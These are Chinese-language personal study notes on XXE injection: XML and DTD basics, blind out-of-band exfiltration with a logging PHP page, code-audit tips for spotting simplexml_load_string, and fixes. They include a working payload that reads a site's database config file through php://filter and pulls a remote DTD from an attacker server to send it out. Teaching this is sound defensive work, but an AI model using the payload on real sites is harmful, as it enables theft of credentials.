注意:仅用于本人学习的笔记记录,禁止进行传播分享,一旦造成严重后果与本人无关!!!
一、什么是XXE
XXE的危害和SSRF有点像
XXE => XML外部实体注入
=>XML
=>外部实体
=>注入[用户输入的数据被当做代码进行执行]
二、什么是XML
XML像HTML、传输数据、无预定义(预先定义好的东西)
前端代码:
<b></b> 加粗而已
XML:
<b></b> 只是一个名字而已
特点:
XML仅仅是纯文本,他不会做任何事情
XML可以自己发明标签(允许定义自己的标签和文档)
存储数据
三、XXE原理
XML:
<?xml version="1.0"?>
DTD(通过特殊的命令去其他文件读取信息)
system
XML部分
危害:
XXE可以通过dtd去读取、访问其他文件或者网站
XSS平台:
你打的XSS到目标站点 -> 有人访问后把数据传到平台 -> 记录下来,等你来看
XML:
请求一个你自己搭建的php文件,其他的文件。(你想要的数据带出来)
php文件记录请求的传参内容(file_put_contens记录文件)
等你去看就可以
没有回显,外带出来:
1.获取信息
2.发送信息
PHP伪协议(php的内部协议)
php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/xxe170/123.txt
找XXE漏洞
1.看到页面莫名其妙、返回XML代码可以试试
2.代码审计(简单的东西,不复杂,但是繁琐)
simplexml_load_string() 获取字符串
simplexml_load_file() 获取文件内容
代码审计:
1.动态审计(网站装起来,通过特殊手法追踪具体代码流程)
2.静态审计(纯看)
3.小技巧:依靠静态看代码,然后不用动态调试软件,直接修改源码进行调试
die echo 输出内容
静态:
1.全文通读 bluecms推荐
2.危险函数定位eval() mysqli_query()
演示:
全文查找simplexml_load_string的地方
然后传入xml中的DTD部分
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://127.0.0.1:170/1.xml">
%remote;
%send;
]>
替换红色的部分为要读取的路径
替换蓝色的部分为炮台1.xml自己搭建的网址
修复XXE:
1.libxml_disable_entity_loader(true) php的(禁止加载XML实体)
2.过滤system关键词